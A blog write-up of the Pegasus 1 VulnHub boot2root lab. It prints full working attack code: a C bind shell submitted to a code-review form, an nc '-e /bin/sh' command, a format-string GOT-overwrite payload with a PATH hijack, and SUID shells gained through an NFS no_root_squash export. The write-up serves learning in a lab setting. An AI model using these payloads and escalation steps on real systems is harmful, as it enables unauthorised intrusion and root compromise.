Pegasus 1 is a boot2root hosted on VulnHub built by @TheKnapsy. He wrote a blogpost about it too containing a small introduction with Pegasus as his first boot2root (hoof2root? ;p).

Having recently played in the Offsec Playground a little after having completed my OSCP, I was relatively exhausted. Pegasus had its fair share of frustrations and had me digging around quite a bit. I did however learn a very valuable lesson… again. You will see this in the my_first section.

Like many other write ups I do, I will also recommend you try this one first before you read on. For me, Pegasus was definitely slightly more difficult than the usual VulnHub stuff you would see, but part of that may just as well be due to fatigue and that year end holiday mode ;p. However, that should not discourage you to give it a bash anyways!

Lets begin.

nmap, again

Starting a VM like this, you should almost have a knee-jerk reaction to reach for nmap as your first tool to use. A VM, hosted on the network, means you will probably be attacking this one… via the network. So after figuring out what the IP address is (via arp, netdiscover etc.), I threw nmap at it:

root@kali:~# nmap --reason -sV -p-

Starting Nmap 6.47 ( ) at 2014-12-23 09:16 SAST
Nmap scan report for
Host is up, received arp-response (0.00022s latency).
Not shown: 65531 closed ports
Reason: 65531 resets
22/tcp    open  ssh     syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
111/tcp   open  rpcbind syn-ack 2-4 (RPC #100000)
8088/tcp  open  http    syn-ack nginx 1.1.19
55625/tcp open  status  syn-ack 1 (RPC #100024)
MAC Address: 08:00:27:88:F8:40 (Cadmus Computer Systems)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 16.37 seconds

tcp/22, tcp/111, tcp/8088 and tcp/55625. Thats quite a bit to work with already. I decided to dive right into the web server that appears to be running on tcp/8088.

stomping some hoofs with pegasus

Browsing to, we are presented with a picture of Pegasus:

I manually tried to browse to things like robots.txt etc, but everything responded with the same image. This was until I decided to browse to index.php, in an attempt to check that the web server is configured to serve PHP content:

So this doesn’t exactly tell us PHP is supported yet, but it does get us somewhere if we wanted to brute force the web server in search of content. Inspecting the headers of the HTTP responses thus far, we would see that everything would return HTTP 200, however, .php scripts would 404 correctly. With that in mind, it was time to reach for wfuzz to discover some more.

root@kali:~# wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/medium.txt  --hc 404

* Wfuzz  2.0 - The Web Bruteforcer                     *

Payload type: file,/usr/share/wordlists/wfuzz/general/medium.txt

Total requests: 1660
ID  Response   Lines      Word         Chars          Request

01426:  C=200      0 L         4 W       19 Ch    " - submit"

And we have a HTTP 200 response for submit.php. So, I browsed to

Well that isn’t exactly useful. I played a little with the submit.php by sending a POST with some --data, but nothing useful came of it. Almost everything came back with No data to process.

Admittedly, this was my first hurdle. I was thinking if there is a submit.php, surely there is something that actually submits the appropriate data to it? So I pulled out some more wordlists and fed them to wfuzz to work on. I’ll be honest, I did not like this part much. The wordlists were just too big and it almost felt like this is probably not the way to go about this. wfuzz was working with /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt, when finally I get a HTTP 200 for codereview.php.

pwning mike

So mike is apparently a trainee code reviewer. We have a form where we can submit code for him to check out. This is the form that submits the POST data code to the previously found submit.php.

Ok. Well this is a interesting one. My initial thoughts were that if Mike was checking out code, he is possibly executing it? There was however no hint on what language he is expecting, so the wild goose chase began.

PHP, Python, Perl, Ruby, Bash. Name them. I tried them all. Ok maybe not all, especially not brainfk. :D However, in all of them, I tried to get the language to execute /bin/nc 4444 -e /bin/sh or variants thereof so that it would connect to my netcat listener on my Kali machine, and spawn me a shell.

Eventually, I came to try some C. Admittedly, I was starting to rethink my strategy by now. That was until my C source had a call to system() in it:

Ooooooh. Ok so that was a very obvious hint that I was getting closer. For me, this boiled down to it either accepting PHP due to system, or C due to its system. Obviously though, system() is being filtered out, so I would need an alternative.

insert fade to black

CAPTION: many hours later

After exhausting my PHP attempts, it was time to move to C. My first attempt was was something along the lines of


// msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c
unsigned char buf[] =

int main()
    int (*ret)() = (int(*)())buf;

This was supposed to open me a tcp/4444 shell, but to no avail. Infact, no shellcode related execution appeared to do anything. As a last resort before I figured I’d need to get me some hints, I searched for some non-shellcode type bind shell generation C source. Unfortunately, I don’t write C socket software out of my head, but luckily Google came to the rescue and landed me on this. I modified the code slightly by hardcoding my desired port and shell, and submitted it to be ‘reviewed’:

// Source:
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#define SHELL "/bin/sh"   // shell to execute
#define NAME "rsync"        // name of the forked bindshell shown in ps

int main(int argc, char *argv[]) {
    char msg[16];
    int srv_sockfd, new_sockfd;
    socklen_t new_addrlen;
    struct sockaddr_in srv_addr, new_addr;

    // fork into background
    if (fork() == 0) {
        if ((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
            return -1;

        srv_addr.sin_family = PF_INET;
        srv_addr.sin_port = htons(atoi("4444"));
        srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);

        if (bind(srv_sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) < 0) {
            return -1;

        if (listen(srv_sockfd, 1) < 0) {
            return -1;

        // accept loop
        for (;;) {
            new_addrlen = sizeof(new_addr);
            new_sockfd = accept(srv_sockfd, (struct sockaddr *)&new_addr, &new_addrlen);
            if (new_sockfd < 0) {
                return -1;

            // fork to handle new connection
            if (fork() == 0) {
                // close old listener
                // print the parent pid which should be killed in order
                // to remove the persistant bindshell listener
                sprintf(msg, "ppid=%d\n", getppid());
                write(new_sockfd, msg, strlen(msg));

                dup2(new_sockfd, 2);
                dup2(new_sockfd, 1);
                dup2(new_sockfd, 0);

                execl(SHELL, NAME, NULL);
                return 0;
        } // end accept loop
    } // end fork into background
    return 0;

All of my attempts were followed by a nmap on tcp/4444 to see if the shell has become available. After submitting the above code, we got a new port open (this Mike guy is pretty fast you should hire him!):

root@kali:~# nmap -p 4444

Starting Nmap 6.47 ( ) at 2014-12-23 11:33 SAST
Nmap scan report for
Host is up (0.00034s latency).
4444/tcp open  krb524
MAC Address: 08:00:27:88:F8:40 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds

Awesome, so lets connect and see what we have:

root@kali:~# nc -v 4444 inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [] 4444 (?) open
uid=1001(mike) gid=1001(mike) groups=1001(mike)

As was hoped for, a shell as mike. I quickly generated a new ssh key pair for Pegasus, and cat the public key to mike’s authorized_keys file and went on to SSH in as mike:

# first I cat the public key so that I can copy it
root@kali:~# cat
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNmUef7CT1sDk5YxLor/LVA9FHii/Aagxl86CtRNj24t+TA23K3/KwlfCabCRNwNBXbTWkUmYdNMAEvsv5nbPHhgqZRlmEBzltcmltatmfbhrGmND7cBQGOxZPlcsks0FThEJhNL5z5WS3PpyzA5GUKyn4cPFbXe88uz1SpeXaIC+8kJ5T+jOKu40nLF0iglBtiADQ1rOLMh2pFEZjQhVyE4ieqK7hyBrLlVyQY1bOUGdrguWcEJZUvWDRsa0VCOIXOdNeg3AsXPG/1KbIzubOfjieaTgs9Mhqg7C9vdL21dia48B5NRKl7GoS6xJx09tmXVvYMAt+Sut6OwBUTV+R root@kali

# next I connect to the bind shell listener and move to Mikes .shh directory
root@kali:~# nc -v 4444 inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [] 4444 (?) open
cd .ssh

# next we append my public key to mikes authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNmUef7CT1sDk5YxLor/LVA9FHii/Aagxl86CtRNj24t+TA23K3/KwlfCabCRNwNBXbTWkUmYdNMAEvsv5nbPHhgqZRlmEBzltcmltatmfbhrGmND7cBQGOxZPlcsks0FThEJhNL5z5WS3PpyzA5GUKyn4cPFbXe88uz1SpeXaIC+8kJ5T+jOKu40nLF0iglBtiADQ1rOLMh2pFEZjQhVyE4ieqK7hyBrLlVyQY1bOUGdrguWcEJZUvWDRsa0VCOIXOdNeg3AsXPG/1KbIzubOfjieaTgs9Mhqg7C9vdL21dia48B5NRKl7GoS6xJx09tmXVvYMAt+Sut6OwBUTV+R" >> authorized_keys
ls -lh
total 12K
-rw-rw-r-- 1 mike mike  381 Dec 23 20:36 authorized_keys
-rw------- 1 mike mike 1.7K Nov 18 12:39 id_rsa
-rw-r--r-- 1 mike mike  222 Nov 18 17:39 known_hosts
chmod 600 authorized_keys

# with the authorized_keys ready, I SSH in as mike using my key pair
root@kali:~# ssh mike@ -i pegasus
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686)

 * Documentation:

  System information as of Tue Dec 23 20:36:47 AEDT 2014

  System load:  0.0               Processes:           93
  Usage of /:   6.8% of 18.32GB   Users logged in:     0
  Memory usage: 12%               IP address for eth0:
  Swap usage:   0%

  => There are 2 zombie processes.

  Graph this data and manage this system at:

Your Hardware Enablement Stack (HWE) is supported until April 2017.

You have mail.
Last login: Tue Dec 16 19:27:53 2014 from

my_first, your_first, we_all_first

With my initial shell I was able to start enumerating Pegasus a little more. The most obvious next step was the SUID binary in mike’s home (we will get to it shortly):

mike@pegasus:~$ ls -lh
total 16K
-rwxr-xr-x 1 mike mike  845 Nov 18 20:52
drwx------ 2 mike mike 4.0K Nov 18 17:49 Mail
-rwsr-xr-x 1 john john 6.5K Nov 28 10:26 my_first

More enumeration revealed that /opt/ had a number of interesting parts to it as well:

mike@pegasus:~$ ls -lh /opt/
total 12K
drwxrwxrwx 2 root root 4.0K Dec 23 20:33 code_review
drwxr-xr-x 3 root root 4.0K Nov 25 04:38 git
drwxr-xr-x 2 root root 4.0K Nov 18 14:43 nfs

Piecing the web interface together, you will see that the submitted source is put into code.c in /opt/code_review/, and then compiled from the script in /home/mike/ and eventually executed.

The /opt/git/ folder had what looked like remnants of the typical .git/ folders when you checkout code from a repo, but not the actual files itself. I poked around a bit, and was able to re-assemble the main.c file from the git history.

rebuilding main.c

This step is not essential in progressing with Pegasus, but I figured it would be an interesting approach nonetheless

Even though the git folder did not appear to have any actual source files, one could quickly learn what it contains. For example, the git log will show you the commit history:

mike@pegasus:/opt/git/my_first.git$ git log
commit 85365946a8142c52ee6040a029dd069b514c2ab0
Author: Mike Ross <mike@pegasus.(none)>
Date:   Tue Nov 25 04:48:01 2014 +1100

    Committing some security fixes

commit 0a8af1ed956518ec078b152ad7571105e2df26c6
Author: John Wall <john@pegasus.(none)>
Date:   Tue Nov 25 04:39:42 2014 +1100

    initial commit

From the log we can see that there as an initial commit, and one more after that with some security fixes. Chances are, if we can see what the initial commit was then we can see the full initial code. So, lets check out the details of commit 0a8af1ed:

mike@pegasus:/opt/git/my_first.git$ git show 0a8af1ed
commit 0a8af1ed956518ec078b152ad7571105e2df26c6
Author: John Wall <john@pegasus.(none)>
Date:   Tue Nov 25 04:39:42 2014 +1100

    initial commit

diff --git a/main.c b/main.c
new file mode 100644
index 0000000..39c0182
--- /dev/null
+++ b/main.c
@@ -0,0 +1,133 @@
+#include <stdio.h>
+#include <stdlib.h>
+int calculator();
+int string_replay();
+int string_reverse();
+int quit();
+int main()
+    char selection[5];
+    int sel;
+    char * err_check;

[... snip ...]

Nice! We have a file main.c that was added. I copied the diff and saved it to init.patch, and then ran the patch:

root@kali:~# patch -p1 < init.diff
patching file main.c

That gives us the state of files after commit 0a8af1ed which was labeled as the initial commit. The same process was followed for the next commit 85365946a8 which apparently included some security fixes. Copy the diff, make the .patch file and apply it. After this process, we have the sources up to where the git commit history has it.

I inspected that code before and after the security fixes commit, and noticed that the security fixes fixed a potential format string vulnerability. At least, that was the one my untrained eye was able to spot:

diff --git a/main.c b/main.c
index 39c0182..b6b2ed4 100644
--- a/main.c
+++ b/main.c
@@ -8,7 +8,7 @@ int quit();

[... snip ...]
         printf("Enter second number: ");
         if (fgets(numberB, sizeof numberB, stdin) != NULL)
-            int numA = strtol(numberA, &err_check, 10);
             int numB = strtol(numberB, &err_check, 10);
             if (*err_check != '\n')
-                printf("Error details: ");
-                printf(err_check);
+                printf("Error details: %s", err_check);
                 return 1;
[... snip ...]

printf(err_check); is the potentially vulnerable call… I think.

the calculator with a hole

After toying with the git repository, my attention turned back to the SUID binary. When I run my_first, I am actually running it as john. This means, should I be able to exploit it and do things other than what its intended for, I may affectively gain john’s privileges! Sounds easy right. :P

I quickly realized that the main.c file I got out of the git repository, was the sources for the my_first binary. So, my focus shifted to the piece of code I saw the security fix for.

First, it was time to confirm my suspicion of a format string vulnerability:

mike@pegasus:~$ ./my_first
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 1

Enter first number: 1
Enter second number: %x
Error details: bf96cbec


I don’t like format string vulnerabilities. In fact not at all. I was hoping for something else and at this stage, I was happy I found the bug (which was the code before the security fixes btw), but sad that its a format string.

Anyways, feels aside, it was time to work on a exploit.

For the format string exploit, I don’t think its really worth explaining all the details again. In fact, compiling this exploit, I was referring to a older blogpost about Xerxes2 which also had a similar thing going. Feel free to check the binary section out there if the next part does not make much sense.

EDIT I have since made a small asciinema showing the offset calculations on my Kali VM. Though the offsets are not the same the theory still applies.

punching more than numbers

So here, I had a pretty big freaking fail. A massive one. Once I had determined the stack position to start corrupting memory with, I was punching in the format strings in the application itself. Meaning, I was giving it the ASCII \x\x\x\x and not the actual bytes as would have been the case if I was using python/printf to redirect the stdout of them to my_first’s stdin. Anyways, lessons were learnt, caffeine was injected. It wont happen again. Big up to @barrebas for subtly pointing the fail out ;p

As I had seen the source code, it was easy to formulate a plan for the exploit. I would make use of a ret2libc attack by overriding the GOT entry for printf() using the format string to system() instead. This means, the next time printf() is called, it would actually execute system() with the adjacent argument on the stack. Lets see how this was done.

compiling the format string

We know that the 2nd number that the applications wants triggers our format string. So, lets prepare some skeleton input, piping it to the ./my_first binary to sample a successful run:

mike@pegasus:~$ printf '1\n1\n1\n4\n' | ./my_first
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Enter first number: Enter second number: Result: 1 + 1 = 2


Cool, so we have sampled adding 1 to 1 ;p Now we can get to exploiting the format string. The first step we have is to determine which parameter on the stack we have control of. We determine this by providing it with a string of 4 A’s, and then incrementing the format string arguments by 1 until we can find the 4 A’s. In my case, I will be formatting them as hex with %x, so I am searching for 41414141. The format string will therefore start as AAAA.0x%s. Note that in the below example we are using 2 x percentages (2 x ‘%') as it needs to be escaped in the shell:

mike@pegasus:~$ printf '1\n1\nAAAA.0x%%x\n4\n' | ./my_first
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Enter first number: Enter second number: Error details: AAAA.0xbff5321c


And we have the output of AAAA.0xbff5321c. Yay :) Continuously incrementing this will eventually get you to argument 8, where you will find the clean string of hex A’s:

mike@pegasus:~$ printf '1\n1\nAAAA.0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x\n4\n' | ./my_first
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Enter first number: Enter second number: Error details: AAAA.0xbfbd145c0xa0xb75b41600xb7726ac00xb7752ff40xb77539180xbfbd14600x41414141


So, using direct parameter access in the format string, we can reference parameter 8 directly:

mike@pegasus:~$ printf '1\n1\nAAAA.0x%%8$x\n4\n' | ./my_first
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Enter first number: Enter second number: Error details: AAAA.0x41414141


Parameter 8 in the format string is the start of the section on the stack we can read now, shown in the output AAAA.0x41414141 of the format string AAAA.0x%8$x.

Now we will move on to making use of the %n format string to write to a arbitrary area in memory. Where do we want to write? To the GOT where the lookup for printf() occurs ofc! Lets dump the GOT for ./my_first, and determine where it will go look for printf():

mike@pegasus:~$ objdump -R ./my_first

./my_first:     file format elf32-i386

OFFSET   TYPE              VALUE
08049bec R_386_GLOB_DAT    __gmon_start__
08049c20 R_386_COPY        stdin
08049bfc R_386_JUMP_SLOT   printf
08049c00 R_386_JUMP_SLOT   fgets
08049c04 R_386_JUMP_SLOT   puts
08049c08 R_386_JUMP_SLOT   __gmon_start__
08049c0c R_386_JUMP_SLOT   __libc_start_main
08049c10 R_386_JUMP_SLOT   putchar
08049c14 R_386_JUMP_SLOT   strtol

The location of printf() will be looked up at 08049bfc. This is the part where we want to rewrite the address of printf() to that of libc’s system().

The last part we need is to know where system() actually is. An important vector that may influence this position in memory is known as ASLR, which will effectively cause the address of system() to be different every time ./my_first is run. To combat this, a neat little trick to increase the stack size can be used using ulimit. ulimit -s unlimited will maximize the stack size, effectively causing the ASLR to be practically nonexistent:

mike@pegasus:~$ ulimit -s
mike@pegasus:~$ ulimit -s unlimited
mike@pegasus:~$ ulimit -s

With the ASLR problem out of the way, lets leak the address of system():

# fire up gdb
mike@pegasus:~$ gdb -q ./my_first
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.

# set a break point as we enter main()
(gdb) b main
Breakpoint 1 at 0x804850f

# run the binary
(gdb) r
Starting program: /home/mike/my_first

Breakpoint 1, 0x0804850f in main ()

# leak the current address of system()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40069060 <system>

And so we learn that system() lives at 0x40069060. What does this all mean so far then? Well, we are now going to use the format string vulnerability to write (using %n) a new address for printf() in the GOT at 08049bfc to point to system() at 0x40069060 instead of its real location.

For us to debug the application while we prepare the required padding for the format string, we will use the printf() used to pipe to ./my_first to redirect to a file instead. Then, in gdb, we will run the binary, redirecting the input from the file we will compile with the printf():

# so, instead of the 4 x A's, we will now place the address
# in the GOT that we want to override, and use the %x format
# string to attempt writing to it
mike@pegasus:~$ printf '1\n1\n\xfc\x9b\x04\x08%%8$n' > t
mike@pegasus:~$ file t
t: data

# then, in gdb, we will grab the output of the new file called
# t, and redirect it as input to my_first
mike@pegasus:~$ gdb -q ./my_first
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.

# leak the current address that GOT points to for printf()
(gdb) x/x 0x08049bfc
0x8049bfc <printf@got.plt>: 0x080483b6

# run the binary with our exploit (t) as input
(gdb) r < t
Starting program: /home/mike/my_first < t
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Enter first number: Enter second number: Error details: ��

Program received signal SIGSEGV, Segmentation fault.
0x00000004 in ?? ()

# inspect the new address the GOT points to for printf()
(gdb) x/x 0x08049bfc
0x8049bfc <printf@got.plt>: 0x00000004

This is working exactly as expected. Now all that is left is to pad the format string so that we can have the address 0x40069060 instead of 0x00000004 written. For the math etc involved, refer to the Xerxes2 post I previously mentioned. The resultant format string was \xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44966u%%9$n, with a run in the debugger ending in:

# prep the input file
mike@pegasus:~$ printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44966u%%9$n' > t

# run it in the debugger
(gdb) r <t
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/mike/my_first <t
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Enter first number: Enter second number: Error details: ����

[... snip ...]

sh: 1: Selection:: not found

Program received signal SIGSEGV, Segmentation fault.
0x08c3f98c in ?? ()

# check where the GOT points to for printf()
(gdb) x/x 0x08049bfc
0x8049bfc <printf@got.plt>: 0x40069060

# confirm system() is still there :)
(gdb) p system
$1 = {<text variable, no debug info>} 0x40069060 <system>

The binary crashes with sh: 1: Selection:: not found, meaning that it is now trying to run system("Selection:") instead of printf("Selection:") due to the GOT override.

finishing the exploit

From here the exploit is pretty easy. We can use some $PATH trickery in our current shell to get Selection: to actually mean something, like prepare a small SUID C shell perhaps? :)

I quickly compiled some C wrapper code to prepare a shell and ran the exploit.

# Prep Selection: to make a SUID shell for john
# and modify PATH
mike@pegasus:~$ cat tojohn.c
#include <stdio.h>
int main()
    system("cp /bin/sh /tmp/tojohn");
    system("chmod 4777 /tmp/tojohn");
mike@pegasus:~$ gcc tojohn.c -o "Selection:"
mike@pegasus:~$ export PATH=/home/mike/:$PATH

# run the exploit...
mike@pegasus:~$ printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44966u%%9$n' | ./my_first
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Enter first number: Enter second number: Error details: ����

Segmentation fault (core dumped)

# ... and check /tmp
mike@pegasus:~$ ls -lah /tmp/
total 108K
drwxrwxrwt  2 root root 4.0K Dec 23 23:17 .
drwxr-xr-x 22 root root 4.0K Nov 19 02:58 ..
-rwsrwxrwx  1 john mike  98K Dec 23 23:17 tojohn

We have a new file tojohn in /tmp :D

mike@pegasus:~$ /tmp/tojohn
$ id
uid=1001(mike) gid=1001(mike) euid=1000(john) groups=1000(john),1001(mike)

hoofing (rooting) Pegasus

I added the public key of the keypair I generated for Pegasus to john’s authorized_keys file and proceeded to SSH in as him.

Quick enumeration showed that mike is allowed to start the nfs daemon via sudo:

john@pegasus:~$ sudo -l
Matching Defaults entries for john on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on this host:
    (root) NOPASSWD: /usr/local/sbin/nfs
john@pegasus:~$ sudo nfs
Usage: nfs [start|stop]
john@pegasus:~$ sudo nfs start
 * Exporting directories for NFS kernel daemon...                                                                                                                                 [ OK ]
 * Starting NFS kernel daemon                                                                                                                                                     [ OK ]

I checked out the /etc/exports file, and noticed the the no_root_squash flag for the /opt/nfs export. This is most certainly the way to root Pegasus as nfs will not go and nobody my files :)

So, I mounted the share…

root@kali:~# mkdir nfs
root@kali:~# mount nfs

… prepped a SUID shell …

root@kali:~/Desktop/pegasus/nfs# cat shell.c
#include <stdio.h>

int main()
root@kali:~/Desktop/pegasus/nfs# gcc shell.c -o shell
root@kali:~/Desktop/pegasus/nfs# chmod 4777 shell
root@kali:~/Desktop/pegasus/nfs# ls -lah
total 20K
drwxr-xr-x 2 root root 4.0K Dec 23 14:39 .
drwxr-xr-x 3 root root 4.0K Dec 23 14:32 ..
-rwsrwxrwx 1 root root 5.0K Dec 23 14:39 shell
-rw-r--r-- 1 root root   79 Dec 23 14:39 shell.c

… and rooted Pegasus :)

john@pegasus:~$ /opt/nfs/shell
# id
uid=0(root) gid=0(root) groups=0(root),1000(john)

flag :)

# cat /root/flag
            ,'_/\_/\_                       ,
          ,'_/\'_\_,/_                    ,'|
        ,'_/\_'_ \_ \_/                _,-'_/
      ,'_/'\_'_ \_ \'_,\           _,-'_,-/ \,      Pegasus is one of the best
    ,' /_\ _'_ \_ \'_,/       __,-'<_,' _,\_,/      known creatures in Greek
   ( (' )\/(_ \_ \'_,\   __--' _,-_/_,-',_/ _\      mythology. He is a winged
    \_`\> 6` 7  \'_,/ ,-' _,-,'\,_'_ \,_/'_,\       stallion usually depicted
     \/-  _/ 7 '/ _,' _/'\_  \,_'_ \_ \'_,/         as pure white in color.
      \_'/>   7'_/' _/' \_ '\,_'_ \_ \'_,\          Symbol of wisdom and fame.
        >/  _ ,V  ,<  \__ '\,_'_ \_ \'_,/
      /'_  ( )_)\/-,',__ '\,_'_,\_,\'_\             Fun fact: Pegasus was also
     ( ) \_ \|_  `\_    \_,/'\,_'_,/'               a video game system sold in
      \\_  \_\_)    `\_                             Poland, Serbia and Bosnia.
       \_)   >        `\_                           It was a hardware clone of
            /  `,      |`\_                         the Nintendo Famicom.
           /    \     / \ `\
          /   __/|   /  /  `\
         (`  (   (` (_  \   /
         /  ,/    |  /  /   \
        / ,/      | /   \   `\_
      _/_/        |/    /__/,_/
     /_(         /_(


Hope you enjoyed the challenge as much as I enjoyed creating it and I hope you
learnt a thing or two while doing it! :)

Massive thanks and a big shoutout to @iMulitia for beta-breaking my VM and
providing first review.

Feel free to hit me up on Twitter @TheKnapsy or at #vulnhub channel on freenode
and leave some feedback, I would love to hear from you!

Also, make sure to follow @VulnHub on Twitter and keep checking for
more awesome boot2root VMs!

Thanks for the fun @TheKnapsy